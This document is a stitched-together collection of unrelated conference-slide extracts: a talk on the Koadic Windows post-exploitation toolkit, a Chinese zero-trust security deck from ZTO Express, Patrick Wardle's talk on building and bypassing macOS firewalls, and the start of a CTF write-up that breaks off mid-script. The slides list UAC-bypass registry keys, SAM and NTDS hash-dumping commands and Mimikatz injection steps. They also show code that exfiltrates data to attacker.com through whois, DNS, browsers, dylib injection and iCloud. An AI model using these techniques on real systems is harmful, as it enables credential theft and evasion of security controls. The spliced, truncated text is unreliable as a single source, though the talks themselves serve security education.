○
Slightly different goals and implementation
■
AKA "still relevant"?
●
Found EVERYWHERE in Windows
Downsides of WSH
●
No access to Windows API
●
No real threading
●
Missing a lot of "standard" functions
○
Base64
■
Can be done with other programs
●
Unicode strings
○
Bad for making structs/shellcode
Downsides of VBScript
●
Shlemiel the Painter problem with string indexing (Mid)
○
Inefficient string iterations
○
@JennaMagius: "Bring the Bucket With You"
●
Insane exception handling method
○
"On error resume next", for every scope
●
Definitely not lingua franca
Readline Improvements
●
Readline is the interactive shell
●
When shells/messages start to rain in…
○
Output overwrites input
●
@JennaMagius fixed it, redraw
○
Commit to Metasploit in PR #7570
○
Still an issue in Empire
Koadic Terminology
●
Zombie
○
a hooked target
●
Stager
○
web server to perform hook
●
Implant
○
starts jobs on a zombie
●
Job
○
does something interesting
Architecture Overview
Plugin Architecture
●
run() method
○
Stager - Spawns HTTP server
○
Implant - Starts Job
●
~VARIABLE~ based JS files
●
"stdlib.js" helper functions
○
Run commands
○
Upload/download
○
File I/O
○
HTTP I/O
■
Report on jobs
Implant Categories
●
Pivot
●
Persistence
●
Manage
●
Elevate
●
Gather
●
Scan
●
Fun
●
Inject
Stager Architecture
●
Generally, hook by manual command
○
Can hook from IE, Office macros, etc.
●
Python simple HTTP/S threaded server
○
Encryption through TLS/SSL (depending on target)
●
Long-poll
●
When a job is ready, clones itself twice and dies
Stager Job Cloning
●
Hook: If not "Session ID"
○
Assigned a session ID
■
Fork stage
●
Stage: If "Session ID" present
○
long-poll to get a "Job ID"
■
Fork stage
■
Fork job
■
Exit
●
Job: If "Session ID" && "Job ID"
○
Send job payload
■
Do work
■
Report
■
Exit
regsvr32.exe
●
COM Scriptlets
○
Still written to disk
●
Present on Windows 2000
●
Less sandboxed than MSHTA
MSHTA.exe Stager
●
HTML "Applications"
○
Access to registry, filesystem, shell, etc.
○
Some IE security zone sandboxing
●
Payload is tiny
○
But missing on Windows 2000
Hidden HTA
●
Experimented with
many techniques
to hide window
●
Later saw malware
samples do same
thing
rundll32.exe
●
Abuses path/command line parsing
○
Loads MSHTML.DLL
○
Executes JScript
●
Basically same thing as mshta.exe
●
Less Window visibility
○
MSHTA stager forks to rundll32.exe
Script Unresponsive
●
Can long-poll HTTP forever, np
○
Because it's a COM call
●
Run too many lines of JScript
○
Even just a few milliseconds?
○
Abort!!
HKCU\Software\Microsoft\Internet Explorer\Styles\MaxScriptStatements
"Uploading" Files
●
Binary data is hard to work with…
●
Writing byte-by-byte uses limited instructions
●
Adodb.Stream.Write(http.responseBody)
○
Can't write stream directly to file
○
But… information theory allows it
"Uploading" Files
"Downloading" Files
●
Post data is double encoded
○
Windows-1252
○
UTF-8
●
Can't send NULL bytes \x00
○
We add another layer of encoding
■
\\ = \\\\
■
\0 = \\\x30
●
Extremely slow to decode()
○
So we use hard-coded lookup table
DEMO
Upload+Download, SHA256 verify
UAC Bypasses
●
eventvwr.exe by @enigma0x3
○
HKCU\Software\Classes\mscfile\shell\open\command
●
sdclt.exe by @enigma0x3
○
HKCU\Software\Classes\exefile\shell\runas\command
●
fodhelper.exe by winscripting.blog
○
HKCU\Software\Classes\ms-settings\shell\open\command
●
UACME by @hFireF0X
○
Future work, 35+ methods
Dumping NTLM on Local Machines
●
Stored in registry hives
○
reg save HKLM\SAM sam.dmp /y
○
reg save HKLM\SYSTEM system.dmp /y
○
reg save HKLM\SECURITY security.dmp /y
●
Download to C3 server
●
Decode with CoreSecurity/Impacket
○
secretsdump.py -sam %s -system %s -security %s LOCAL
Dumping NTLM from Domain Controllers
●
Make shadow copy
○
vssadmin create shadow /for=C:
○
copy shadow\windows\ntds\ntds.dit %TEMP%\ntds.dit
○
reg save HKLM\SECURITY security.dmp
●
Download to C3 Server
●
Decode with CoreSecurity/Impacket
○
secretsdump.py -ntds %s -system %s -hashes LMHASH:NTHASH LOCAL
DEMO
Bypass UAC, Hashdump
HTTP
●
Several HTTP COM Object ProgIDs
○
Msxml2.XMLHTTP
○
Msxml2.ServerXMLHTTP
○
Microsoft.XMLHTTP
○
Microsoft.ServerXMLHTTP
○
WinHttp.WinHttpRequest
○
etc.
●
Same basic interface
○
Drastically different behaviors
TCP Scanner
●
Use HTTP object to "port scan"
○
AJAX Port Scanner
●
Depending on status code, determine if port open
PSExec
●
Microsoft signed
●
No need to "upload" binary
○
\\live.sysinternals.com@SSL\tools\
●
"Dirty bit" are you sure?
○
Bypass is: use a different way to exec it?
●
psexec \\computer\ -u domain\user -p pwd -accepteula ~CMD~
WMI
●
Start command remotely
●
Runs in session 0
○
No GUI = no UAC bypass
■
Need hacks
DEMO
TCP Scan, Pivot
Excel COM Object
●
Work gave us Office licenses, we found a good use for them…
●
Many workstations have Office
●
Excel spreadsheets can be created in memory
○
No need for GUI at all
●
Excel spreadsheets have macros
○
Run any VBA, with access to Windows API
■
Shellcode
■
Reflective DLLS
DotNetToJs
●
Attack by @tiraniddo
●
Uses COM objects installed with .NET
●
Load custom serialized object
○
Access to Windows API
DynamicWrapperX
●
Written by Yuri Popov (Freeware)
●
Allows access to Windows API
●
Drop DLL and Manifest
●
Registration-free COM
○
Avoids COM registry writes
○
@subTee "re-discovered"
powerkatz.dll
●
@clymb3r fork added to Mimikatz core
○
Goal: we want to use this existing DLL
●
PowerShell Empire uses "memory module"
○
DLL mapping performed in PowerShell
■
Not reflective injection
■
We're limited on instructions
●
"mimishim.dll"
mimishim.dll
●
Normal Reflective DLL
●
Built-in HTTP
●
Determines if x64 system and x86 process
○
Forks if necessary
●
Process hollowing of %WINDIR%\sysnative\notepad.exe
●
Injects powerkatz.dll
○
privilege::debug - SeDebugPrivilege
○
token::elevate - NT AUTHORITY\SYSTEM
○
Runs the custom command
■
sekurlsa::logonPasswords
DEMO
Mimikatz
Mitigations
●
Device Guard/AppLocker/CI
●
Block:
○
WSH
○
HTA
○
SCT
●
Delete all .exes!
●
Delete all COM objects!
○
Including script parsers!
Add to Metasploit
●
Additional targets for command/Binary drop modules
○
Such as psexec
●
Iterate over all methods of forking to shellcode
○
Until one works
Future Work
●
Clean up code
●
JavaScript Minimizer/obfuscator
●
getsystem
●
Persistence implants
●
Close some DoS vectors
Related Talks
●
COM in Sixty Seconds
○
James Forshaw @ INFILTRATE 2017
●
Windows Archaeology
○
Casey Smith and Matt Nelson @ BSides Nashville 2017
●
Establishing a Foothold with JavaScript
○
Casey Smith @ Derbycon 2016
Thanks!
●
@zerosum0x0
●
@Aleph___Naught
https://github.com/zerosum0x0/koadic
●
DEF CON Workshop - Saturday @ 14:30 - Octavarius 5
○
Windows Post-Exploitation/Malware Forward Engineering
○
shellcode, winapi, COM, .NET | pdf |
零信任在中通黑灰产对抗的实践
零信任在中通黑灰产对抗的实践
中通快递 朱颖骏
目录
CONTENT
目录>>
02
04
03
成效
01
背景
挑战
零信任安全
总结
05
背景
01
背景
01 背景
业务背景
170亿
业务量全球第一
2000亿港元
纽约/香港上市
50万+
中通人遍布全国
3万+
网点达全国
01 背景
监管背景
信息安全监管
落实企业网络安全主体责任
加强个人用户信息保护
提高企业的信息安全意识水平
《中华人民共和国网络安全法》
《关键信息基础设施安全保护条例》
《中华人民共和国个人信息保护法》
《中华人民共和国数据安全法》
挑战
02
挑战
技术挑战
自研1000+应用
外购、本地部署、公有云部署
频繁变动的人员、设备和组织
庞大的用户数据 4亿+
业务流程隐私数据
业务分支机构全球分布 4W+网点
技术架构多样
业务变更频繁
敏感数据庞大
组织分布广泛
安全挑战
OWASP TOP 10
常规漏洞
骗取帐号、骗取认证信息、威逼利诱
社工、APT攻击
利用职务获取利益
内鬼、内外勾结
0Day、未知手法
零信任安全
03
零信任安全
零信任理念
身份、认证、授权
IAM
工作负载微隔离技术
MSG
用户侧软件定义边界
零信任
Never Trust,Always Verify
SDP
零信任原则
网络身份的治理原则
所有资源操作的认证与授权都是动态的,并需要严格执行
01
资源的治理的原则
企业的所有资产都被视为资源
企业应确保所拥有的资产都应处于最安全的状态
02
应用于数据访问的原则
所有的通信在安全的方式下完成(网络位置并不安全)
基于每个会话的细粒度最小化授权
访问资源的权限由动态策略决定 包括客户端、应用、服务、资
源等多中信息
企业尽可能多地收集有关资产,网络基础设施和通信的当前状态
的信息,并使用这些信息来改善其安全状况
03
漏洞
社
工
0Day
内
鬼
零信任与业务风控
零信任与业务风控
多维数据支撑
多样策略执行点
身份、权限、资源的安全状态
认证服务
网关层
终端
访问主体属性
环境信息
访问客体信息
存在的问题
LOREM IPSUM DOLOR
终端多、不受控
密码被泄露
帐号管理混乱
权限管控混乱
权限管控混乱
事件追溯难
探索路线
01
02
03
04
统一身份、统一权限
零信任网关、SDP
免密登录/MFA
基于信任评估的动态访问控制策略
统一身份
集中
管控
帐号创
建
转岗离
职
管理
自动化
自助
服务
风险预
警
全生命周期
身份同
步
多身份类型
灵活定
义
多租户
EIAM
CIAM
IoT
身份互
通
身份属
性
身份平台
混合云
协议支
持
用户目
录
SCIM
自研
应用
外采应
用
遗产应
用
统一认证
跨应用、跨帐号体系单点登录
支持多种认证协议
SAML、OAuth2.0、OIDC、JWT、LDAP
支持多种认证方式
• 三方认证:企业联邦认证、企业社交认证、个人社交认证
• 生物认证:指纹、人脸、虹膜等
• 非生物认证:帐号密码、手机OTP、动态令牌、数字证书
MFA编排
• 自定义认证流程
• 认证自由编排:串行/并行组合认证、多步骤认证
• 认证前、中、后触发事件灵活配置
框架集成
• 将认证服务封装为统一API、组件SDK
• 支持各种开发框架语言快速对接
• 一次对接一键化拥有全部认证方式
智能认证
• 结合访问时间、位置、习惯、设备、关系行为等进行
全面评估,根据使用场景,智能控制认证级别
统一权限
入职赋权
通用
权限授权
权限
授权审计
特殊
权限申请
权限审批
权限
使用审计
吊销
回收
业务闭环
权限
模型设计
授权链
行权
鉴权
权限审计
风险评估
权限治理
管理闭环
接入应用1000+ 权限条目 30000+
零信任网关
零信任流量治理思路
第一步
全面身份化
构建信任
01
02
03
04
第二步
全流量覆盖
全资源保护
第三步
分层治理
流量漏斗
第四步
行为分析
动态访问控制
资源访问典型处理过程
Step 01
Authenticated
Step 03
Bot Detection
Step 05
Policy Execution
Step 02
Authorized
Step 04
Attack Detection
员工安全工作台
安全
DLP
网络准入
证书及可
信
杀毒防护
SDP
安全中心
协作
业务
小程序
应用门户
开发框架
公众号
即时通讯
日程
音视频会议
投屏
推送体系
云盘
工作流
企业通讯录
文档中台
邮箱
有端模式的SDP
问题发现与取证
过去
现在
行为日志
依赖业务接入
用户在所有系统的所有行为日志
数据混乱
域名资产理不清
应用、URL与权限对应关系清晰
拦截方式
拦截方式单一
IP、用户、手机号、组织等多维拦截
证据
现场证据缺失
用户实名与多种行为挑战
风控
应用
系统
用户
设备
访问控制决策点
信息
风险分
环境风险分析
时间风险分析
设备风险分析
用户行为分析
威胁情报风险分析
·
·
·
位置
IP
时间
场景属性
外部分析平台
应用
功能
数据
接口
文件
安全风险识别与感知平台
成效
04
成效
无侵入式业务风控
成效
iOS、Android、Windows、
Mac全覆盖
由配合处理到主动发现
基于策略的细粒度访问控制
SDP与细粒度的访问控制
独立处置能力提升明显
终端用户45W+
主动发现
动态信任评估
无VPN化
信息泄露逐年减少
处置能力
总结
05
总结
总结
零信任正在成为安全建设的主方向
软件定义安全
构建多维信任
动态访问控制
黑灰产对抗利器
提问环节
提问环节
关注中通安全
加我为好友 | pdf |
digita security
Fire & Ice
making and breaking mac firewalls
WHOIS
cybersecurity solutions for the macOS enterprise
@patrickwardle
synack
digita
nsa
nasa
Outline
making
breaking
macos firewalls
socket filter
}
bugs
bypasses
}
ipc, rules, alerts
digita security
MAKING A FIREWALL
filtering network traffic
The Goal
to monitor all network traffic; blocking unauthorized traffic while allowing
trusted (legitimate) connections
we'll focus on outgoing traffic (as Apple's
built-in firewall is sufficient for incoming)
C&C server
malware infects system
malware attempts to connect
to C&C server or exfil data
firewall detects unauthorized
connection, alerting user
}
generically
no a priori knowledge
LuLu
github.com/objective-see/LuLu
Network Kernel Extensions
& socket filters
"Network kernel extensions (NKEs) provide a way to extend and modify
the networking infrastructure of OS X" -developer.apple.com
Apple's Network Kernel Extensions Programming Guide
Socket Filter (NKE)
"filter inbound or outbound traffic
on a socket" -developer.apple.com
socket operation
allowed
kernel mode
Registering a Socket Filter
the sflt_filter structure
"A socket filter is registered by
[first] filling out desired callbacks
in the sflt_filter structure."
OS X and iOS Kernel Programming
struct sflt_filter {
sflt_handle
sf_handle;
int
sf_flags;
char
*sf_name;
sf_unregistered_func
sf_unregistered;
sf_attach_func
sf_attach;
sf_detach_func
sf_detach;
sf_notify_func
sf_notify;
sf_getpeername_func
sf_getpeername;
sf_getsockname_func
sf_getsockname;
sf_data_in_func
sf_data_in;
sf_data_out_func
sf_data_out;
sf_connect_in_func
sf_connect_in;
sf_connect_out_func
sf_connect_out;
sf_bind_func
sf_bind;
sf_setoption_func
sf_setoption;
sf_getoption_func
sf_getoption;
....
struct sflt_filter (kpi_socketfilter.h)
int sf_flags:
set to SFLT_GLOBAL
}callbacks (optional)
attach
data in/out
detach
Registering a Socket Filter
the sflt_register function
extern errno_t
sflt_register(const struct sflt_filter *filter, int domain, int type, int protocol);
//register socket filter
// AF_INET domain, SOCK_STREAM type, TCP protocol
sflt_register(&tcpFilterIPV4, AF_INET, SOCK_STREAM, IPPROTO_TCP)
socket operation
invoke sflt_register() for each
domain, type, and protocol
AF_INET/SOCK_STREAM/TCP
AF_INET/SOCK_DGRAM/UDP
AF_INET6/SOCK_STREAM/TCP
etc...
registering a socker filter
Socket Filter Callbacks
sf_attach_func: new sockets
//callback for new sockets
static kern_return_t attach(void **cookie, socket_t so);
"The attach function...[is] called whenever [the] filter attaches
itself to a socket. This happens...when the socket is created."
OS X and iOS Kernel Programming
the socket
per socket data
static kern_return_t attach(void **cookie, socket_t so){
//alloc cookie
*cookie = (void*)OSMalloc(sizeof(struct cookieStruct), allocTag);
//save rule action
// values: allow/deny/ask
((struct cookieStruct*)(*cookie))->action = queryRule(proc_selfpid());
LuLu's attach function
Socket Filter Callbacks
sf_connect_out_func: outgoing connections
//callback for outgoing (TCP) connections
static kern_return_t connect_out(void *cookie, socket_t so, const struct sockaddr *to)
"sf_connect_out_func is called to filter outbound connections. A
protocol will call this before initiating an outbound connection."
kpi_socketfilter.h
the (attached) socket
per socket data
kern_return_t connect_out(void *cookie, socket_t so, const struct sockaddr *to){
//rule says 'allow'?
if(RULE_STATE_ALLOW == cookie->ruleAction)
return kIOReturnSuccess;
//rule says 'block'?
if(RULE_STATE_BLOCK == cookie->ruleAction)
return kIOReturnError;
//unknown (new) process..
LuLu's connect_out function
remote address
Callback: sf_connect_out_func
handling an unknown process
//nap time!
IOLockSleep(ruleEventLock, &ruleEventLock, THREAD_ABORTSAFE);
put thread to sleep
sf_connect_out_func invoked on
the thread of process connecting out!
report event to user-mode daemon via shared queue
//data queue
IOSharedDataQueue *sharedDataQueue = NULL;
//shared memory
IOMemoryDescriptor *sharedMemoryDescriptor = NULL;
//get memory descriptor
// used in `clientMemoryForType` method
sharedMemoryDescriptor = sharedDataQueue->getMemoryDescriptor();
...
//queue it up
sharedDataQueue->enqueue_tail(&event, sizeof(firewallEvent));
lulu (user-mode)
Callback: sf_connect_out_func
handling an unknown process
daemon
daemon, passes event to login item via XPC
login item
//process alert request from client
// blocks for queue item, then sends to client
-(void)alertRequest:(void (^)(NSDictionary* alert))reply
{
//read off queue
self.dequeuedAlert = [eventQueue dequeue];
//return alert
reply(self.dequeuedAlert);
return;
}
login item displays alert
...& awaits for user's response
allow
deny!
<process> is trying to
connect to <addr>
alert
Callback: sf_connect_out_func
handling an unknown process
"
"
user's response passed back to daemon (XPC)
daemon
save to rule database
"allow" || "block"
}
kext
send to kext (iokit)
awake thread & apply response
Process Classification
known? unknown?
socket operation
//get process
pid_t process = proc_selfpid();
socket filter callback(s), are invoked in context of
process that initiated socket operation
lulu (user-mode)
generate code signing info
(or hash) of process
query rules database
known process?
tell kernel block/allow
}
unknown process?
alert user/get response
LuLu
the free macOS firewall
github.com/objective-see/LuLu
full src code:
rule's window
alert
installer
digita security
BREAKING FIREWALLS
exploiting & bypassing
The Goal
access the network (e.g. connect out to a malicious C&C server or exfiltrate
data) without being blocked by a firewall.
C&C server
infected host
firewall 'aware' malware
firewall (security) flaws
firewall bypasses
}
product specific
generic
Firewall 'Aware' Malware
is a firewall detected? yah; then gtfo
"They were finally caught while attempting to upload a screenshot to one of
their own servers, according to the report. A piece of security software called
Little Snitch ... was installed on one of the information security employees’
laptops [at Palantir], and it flagged the suspicious upload attempt" -buzzfeed
$ cat Twitter1
if [ -e /System/Library/Extensions/LittleSnitch.kext ]
then
cd "$DIR"
./Twitterrific
exit 0
fi
...
OSX.DevilRobber
LittleSnitch (firewall) installed?
...yes; skip infecting the system!
red team: caught!
Firewall Vulnerabilities
little snitch ring-0 heap overflow (wardle/cve-2016-8661)
32bit
void* OSMalloc( uint32_t size ...);
int copyin(..., vm_size_t nbytes );
offset
15
...
8
7
6
5
4
3
2
1
0
value
1
0
0
0
0
0
0
0
2
64bit
64bit value: 0x100000002
32bit value: 0x100000002
vs.
kernel4heap
heap4buffer4
[size:424bytes]
rest4of4heap....
heap4buffer4
[size:424bytes]
rest4of4heap....
0x41
0x41
0x4140x4140x4140x414
0x4140x4140x4140x41
vm_size_t
is 64bits!
kernel heap
sub_FFFFFF7FA13EABB2 proc
mov rbx, rsi
mov rdi, [rbx+30h] ; user-mode struct
mov rbx, rdi
mov rdi, [rbx+8] ; size
...
mov rsi, cs:allocTag
call _OSMalloc ; malloc
...
mov rdi, [rbx] ; in buffer
mov rdx, [rbx+8] ; size
mov rsi, rax ; out buffer (just alloc'd)
call _copyin
Firewall Vulnerabilities
little snitch installer/updater local EoP (versions < 4.1)
(lldb) po $rdx
{ /bin/rm -Rf "$DESTINATION" && /bin/cp -Rp "$SOURCE" "$DESTINATION" && /usr/sbin/chown -R
root:wheel "$DESTINATION" && /bin/chmod -R a+rX,og-w "$DESTINATION"; } 2>&1
(lldb) po [[NSProcessInfo processInfo] environment]
...
DESTINATION = "/Library/Little Snitch/Little Snitch Daemon.bundle";
SOURCE = "/Volumes/Little Snitch 4.0.6/Little Snitch Installer.app/Contents/Resources/
Little Snitch Daemon.bundle";
.dmg
cp pkg/.../Little Snitch Daemon.bundle
/Library/Little Snitch/
chown -R root:wheel
/Library/Little Snitch/
little snitch installer logic
#_
Bypassing RadioSilence
...don't trust a name!
"The easiest network monitor and firewall for Mac...Radio Silence can stop
any app from making network connections" -radiosilenceapp.com
com.radiosilenceapp.nke.filter
int _is_process_blacklisted(int arg0, int arg1)
{
return _is_process_or_ancestor_listed(r14, 0x0);
}
int _is_process_or_ancestor_listed(int arg0, int arg1)
{
//'launchd' can't be blacklisted
_proc_name(arg0, &processName, 0x11);
rax = _strncmp("launchd", &processName, 0x10);
if (rax == 0x0) goto leave;
...
return rax;
}
blacklist'ing check
Bypassing RadioSilence
...don't trust a name!
$ ~/Desktop/launchd google.com
<HTML><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
bypass:
name malware: 'launchd'
blacklist malware
...still connects out!
Bypassing HandsOff
...don't trust a click!
"Keep an eye on Internet connections from all applications as to expose the
hidden connections. Prevent them from sending data without your consent"
-handsoff
$ curl google.com
Allow "
"
void bypass(float X, float Y){
//clicky clicky
CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);
CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);
}
synthetic click
<HTML><HEAD>
<TITLE>301 Moved</TITLE>
Bypassing LuLu
...don't trust a system utility!
"the free macOS firewall that aims to block unauthorized (outgoing) network
traffic" -lulu
//apple utils
// may be abused, so trigger an alert
NSString* const GRAYLISTED_BINARIES[] =
{
@"com.apple.nc",
@"com.apple.curl",
@"com.apple.ruby",
@"com.apple.perl",
@"com.apple.perl5",
@"com.apple.python",
@"com.apple.python2",
@"com.apple.pythonw",
@"com.apple.openssh",
@"com.apple.osascript"
};
is there an(other) system
utility that we can abuse?
LuLu's 'graylist'
Bypassing LuLu
...don't trust a system utility!
$ echo "exfil this data" > exfil.txt
$ RHOST=attacker.com
$ RPORT=12345
$ LFILE=file_to_send
$ whois -h $RHOST -p $RPORT "`cat $LFILE`"
LuLu(105):
due to preferences, allowing apple
process: /usr/bin/whois
LuLu(105): adding rule for /usr/bin/whois
({
signedByApple = 1;
signingIdentifier = "com.apple.whois";
}): action: ALLOW
exfil via 'whois'
via @info_dox
LuLu (debug) log
...traffic (silently) allowed
Bypassing LittleSnitch
...don't trust a domain!
$ curl https://setup.icloud.com/setup/ws/1/login
{"success":false,"error":"Invalid ... header"}
curl
little snitch (kext)
*.icloud.com
Bypassing LittleSnitch
...don't trust a domain!
$ python iCloud.py upload ~/Desktop/topSecret.txt
[1] login: https://setup.icloud.com/setup/ws/1/login
params: {'clientBuildNumber': '15A99', 'clientId': '12A9D426-C45B-11E4-BA3B-B8E8563151B4'}
[2] init'ing upload: https://p34-docws.icloud.com/ws/com.apple.CloudDocs/upload/web
params: {'token': 'AQAAAABU-jxwYG7i1C7BBsuqtqfsa74Rb_2u6yI~"'}
data: {"size": 6, "type": "FILE", "content_type": "text/plain", "filename": "topSecret.txt"}
response: [{u'url': u'https://p34-contentws.icloud.com:443/8205919168/singleFileUpload?
tk=BRC9cJWSP7a4AxOYKf8K&ref=01003e53bebaf26c7c47a33486f7776a26f60568a6&c=com.apple.clouddocs
&z=com.apple.CloudDocs&uuid=3f678124-94d4-4fa0-9f1f-6d24dbc49f17&e=AvKdu5MfcUeIfLPJ6MeWTV6dS
EBoN3BPTCwGHjqSF8jVCEfsXhKglXKR58YkzILGWw', u'owner': u'8205919168', u'document_id':
u'BF38917E-DD30-44A9-8E34-32ABB7800899', u'owner_id': u'_ee6a3e4219e1fb22e1d9d0690b7366b6'}]
[3] uploading to: https://p34-contentws.icloud.com:443/8205919168/singleFileUpload?
tk=BRC9cJWSP7a4AxOYKf8K&ref=01003e53bebaf26c7c47a33486f7776a26f60568a6&c=com.apple.clouddocs
&z=com.apple.CloudDocs&uuid=3f678124-94d4-4fa0-9f1f-6d24dbc49f17&e=AvKdu5MfcUeIfLPJ6MeWTV6dS
EBoN3BPTCwGHjqSF8jVCEfsXhKglXKR58YkzILGWw
response: {u'singleFile': {u'referenceChecksum': u'AQA+U7668mx8R6M0hvd3aib2BWim',
u'wrappingKey': u'3gtDUoGIjmFloUFCTFvLCQ==', u'receipt': u'A0/B7PXdJi5JC5Ep', u'size': 6,
u'fileChecksum': u'Abv+EeVEGAQ0o5/2szwFFOVX1ICw'}}
[4] committing upload: https://p34-docws.icloud.com/ws/com.apple.CloudDocs/update/documents
exfil to iCloud C&C
Generic Bypasses
regardless of firewall product: connect out
goal: access the network (e.g. connect to a malicious C&C server or
exfiltrate data) without being blocked by (any) firewall.
firewalls are inherently disadvantaged
...must allow certain network traffic!
system functionality
(dns, os updates, etc.)
'usability'
(browsers, chat clients, etc.)
}
passively determine what's allowed
abuse these trusted protocols/processes to
generically bypass any installed firewall
Generic Bypasses
what traffic is allowed?
$ lsof -i TCP -sTCP:ESTABLISHED
Google Chrome
patricks-mbp.lan:58107->ec2-107-21-125-119.compute-1.amazonaws.com:https
Signal
patricks-mbp.lan:58098->ec2-52-2-222-12.compute-1.amazonaws.com:https
Slack
patricks-mbp.lan:58071->151.101.196.102:https
VMware
patricks-mbp.lan:62676->a23-55-114-98.deploy.static.akamaitechnologies.com:https
com.apple.WebKit.Networking (Safari)
patricks-mbp.lan:58189->a23-55-116-179.deploy.static.akamaitechnologies.com:https
Core Sync.app
patricks-mbp.lan:58195->ec2-52-5-250-175.compute-1.amazonaws.com:https
Creative Cloud.app
patricks-mbp.lan:57194->ec2-52-2-42-38.compute-1.amazonaws.com:https
GitHub
patricks-mbp.lan:58119->lb-192-30-255-116-sea.github.com:https
}
lsof output (user processes)
what's allowed!?
Abusing DNS
connect to
'evil.com'
XPC
resolve
'evil.com'
mdnsresponder
allowed
dns server
firewall
examines request
dns server
resolves request
macOS
domain name resolution
handled by mdnsresponder
fully trusted by firewalls
Abusing DNS
int main(int argc, const char * argv[]) {
struct addrinfo *result = {0};
//'resolve' DNS
// this is routed to mDNSResponder
getaddrinfo(argv[1], NULL, NULL, &result);
....
resolve
'data.to.exfilatrate.evil.com'
response
encode tasking in A* records
HandsOff (in advanced mode) tracks DNS resolutions, but NOT
"DNS Service Discovery" (DNS-SD, see: /usr/include/dns_sd.h)
Abusing Browsers
synthetic browsing via AppleScript
"A browser that is not afforded indiscriminate network
access (at least to remote web severs) is rather useless"
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to
"http://attacker.com?data=data%20to%20exfil"
end tell
invisible
exfil data
Abusing Browsers
synthetic browsing via cmdline interfaces
$ "Google Chrome"
--crash-dumps-dir=/tmp
--headless http://attacker.com?data=data%20to%20exfil
$ firefox-bin
--headless http://attacker.com?data=data%20to%20exfil
$ open -j -a Safari
http://attacker.com?data=data%20to%20exfil
//what's user's default browser?
CFURLRef http = CFURLCreateWithString(NULL, CFSTR("http://"), NULL);
CFURLRef browser = LSCopyDefaultApplicationURLForURL(http, kLSRolesAll, nil);
determine default browser
Abusing Code/Dylib Injections
any code in a trusted process, is trusted
any code running in the context of process trusted
('allowed') by a firewall, will inherit that same trust!
injection
methods
of injection:
write to remote memory
malicious plugins
dylib proxying
environment variables
targets:
3rd-party apps
Abusing Code/Dylib Injections
writing to remote memory
//get task ports via 'processor_set_tasks'
processor_set_default(myhost, &psDefault);
host_processor_set_priv(myhost, psDefault, &psDefault_control);
processor_set_tasks(psDefault_control, &tasks, &numTasks);
//find process's task port
// then (as a poc) remotely allocate some memory
for(i = 0; i < numTasks; i++) {
pid_for_task(tasks[i], &pid);
if (pid == targetPID)
{
mach_vm_address_t remoteMem = NULL;
mach_vm_allocate(tasks[i], &remoteMem,
1024, VM_FLAGS_ANYWHERE);
//now write & exec injected shellcode
"Who needs task_for_pid() anyway..."
-(j. levin)
# ps aux | grep Slack
patrick 36308 /Applications/Slack.app
# lsof -p 36308 | grep TCP
Slack TCP patricks-mbp.lan:57408 ->
ec2-52-89-46.us-west-2.compute.amazonaws.com
# ./getTaskPort -p 36308
getting task port for Slack (pid: 36308)
got task: 0xa703
allocated remote memory @0x109b4e000
...
'traditional' injection
Abusing Code/Dylib Injections
environment variable (DYLD_INSERT_LIBRARIES)
$ DYLD_INSERT_LIBRARIES=/tmp/bypass.dylib
/Applications/Slack.app/Contents/MacOS/Slack
//custom constructor
__attribute__((constructor)) static void initializer(void) {
NSURL *url = [NSURL URLWithString:
@"http://www.attacker.com/?data=data%20to%20exfil%20via%20Slack"];
NSData *data = [NSData dataWithContentsOfURL:url];
}
malicious dylib
target (trusted) application
dylib w/ custom
constructor
user agent: 'Slack'
Abusing Code/Dylib Injections
dylib proxying
LC_LOAD_DYLIB:
/Applications/<some app>/<some>.dylib
note, due to System Integrity Protection (SIP)
one cannot replace/proxy system dynamic libraries.
LC_LOAD_DYLIB:
/Applications/<some app>/<some>.dylib
Abusing Code/Dylib Injections
dylib proxying
in two easy steps
copy original dylib
replace original dylib
-Xlinker
-reexport_library
<path to legit dylib>
re-export symbols!
$ install_name_tool -change
<existing value of LC_REEXPORT_DYLIB>
<new value for to LC_REEXPORT_DYLIB (e.g target dylib)>
<path to dylib to update>
Kernel-based Bypasses
in ring-0, no one can stop you!
static kern_return_t attach( ... )
{
...
//don't mess w/ kernel sockets
if(0 == proc_selfpid())
{
//allow
result = kIOReturnSuccess;
goto bail;
}
traffic from the kernel is generally (allowed) trusted
allowing kernel traffic (LuLu)
Kernel-based Bypasses
in ring-0, no one can stop you!
kernel mode
"Different possibilities exist to hide our network
connections from Little Snitch and also Apple's
application firewall.
The easiest one is to patch or hook the sf_attach
callback." -fG! (@osxreverser)
patch callbacks
remove callbacks
Kernel-based Bypasses
ok, how do we get into the kernel?
get root
'bring' & load buggy kext
exploit to run unsigned kernel code
(buggy) kext still
validly signed!
code loaded into the kernel (i.e. kexts) must be
signed...and Apple rarely hands out kext signing certs!
SlingShot APT (Windows)
Kernel-based Bypasses
ok, how do we get into the kernel?
"macOS High Sierra 10.13 introduces a new feature that
requires user approval before loading new third-party
kernel extensions." -apple
"
"
fixed?
bypass with synthetic event
[0day] "The Mouse is Mightier than the Sword" (DefCon, Sunday 10AM)
Apple: yes, 100% fixed
Patrick: nope, it's not!!
digita security
CONCLUSION
wrapping this up
macOS Firewalls
kernel socket filter
}
bugs
bypasses
firewalls are not enough!
use other host-based security products
use network-based security products
making:
breaking:
...ok, one more last thing!
"Objective by the Sea" conference
ObjectiveByTheSea.com
Maui, Hawaii
Nov 3rd/4th
All things macOS
malware
bugs
security
Free for
Objective-See patrons!
Finale
@patrickwardle
[email protected]
cybersecurity solutions for the macOS enterprise
digita security
Credits
- iconexperience.com
- wirdou.com/2012/02/04/is-that-bad-doctor
- http://pre04.deviantart.net/2aa3/th/pre/f/
2010/206/4/4/441488bcc359b59be409ca02f863e843.jpg
- opensource.apple.com
- newosxbook.com (*OS Internals)
- github.com/objective-see/LuLu
- apress.com/gp/book/9781430235361
- phrack.org/issues/69/7.html
images
resources | pdf |
深育杯 WriteUp By Nu1L
深育杯 WriteUp By Nu1L
10.10.16.33
10.10.16.182
10.10.16.233
10.10.16.54
10.10.16.109
192.168.54.24
192.168.54.25
192.168.54.26
192.168.199.133
10.10.16.33
ianxtianxt/discuz-ml-rce: 影响系统及版本:Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 (github.com)
直接rce
10.10.16.182
三次撞⻋导致vftable被free,后续可以劫持
from pwn import *
context.arch = 'amd64'
# s = process("./main")
s = remote("10.10.16.182","10000")
